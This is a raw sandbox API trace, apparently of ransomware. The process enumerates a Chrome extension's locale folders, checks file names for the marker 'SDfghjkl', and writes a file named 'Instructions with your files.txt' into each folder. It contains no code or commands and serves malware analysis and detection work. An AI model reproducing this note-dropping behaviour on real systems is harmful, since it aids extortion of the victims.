[0129.205] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.205] CloseHandle (hObject=0x134) returned 1
[0129.205] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.205] GetProcessHeap () returned 0x810000
[0129.205] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.205] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.205] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned 142
[0129.205] GetProcessHeap () returned 0x810000
[0129.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.205] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*") returned 144
[0129.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.206] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\.") returned 144
[0129.206] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.206] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\..") returned 145
[0129.206] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.206] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 156
[0129.206] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.206] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.206] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\Instructions with your files.txt") returned 175
[0129.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.207] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.208] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.208] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.208] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.209] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.209] CloseHandle (hObject=0x134) returned 1
[0129.209] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.209] GetProcessHeap () returned 0x810000
[0129.209] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.209] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
[0129.209] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned 142
[0129.209] GetProcessHeap () returned 0x810000
[0129.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.209] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*") returned 144
[0129.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.209] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\.") returned 144
[0129.209] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.209] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\..") returned 145
[0129.210] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.210] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 156
[0129.210] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.210] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.210] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\Instructions with your files.txt") returned 175
[0129.210] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.210] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.211] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.211] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.211] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.211] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.211] CloseHandle (hObject=0x134) returned 1
[0129.211] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.211] GetProcessHeap () returned 0x810000
[0129.211] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.211] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.211] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned 142
[0129.211] GetProcessHeap () returned 0x810000
[0129.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.211] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*") returned 144
[0129.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.212] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\.") returned 144
[0129.212] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.212] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\..") returned 145
[0129.212] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.213] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 156
[0129.213] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.213] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.213] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\Instructions with your files.txt") returned 175
[0129.213] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.213] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.214] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.214] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.214] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.214] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.215] CloseHandle (hObject=0x134) returned 1
[0129.215] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.215] GetProcessHeap () returned 0x810000
[0129.215] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.215] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0129.215] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned 142
[0129.215] GetProcessHeap () returned 0x810000
[0129.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.215] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*") returned 144
[0129.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.215] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\.") returned 144
[0129.215] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.215] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\..") returned 145
[0129.215] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
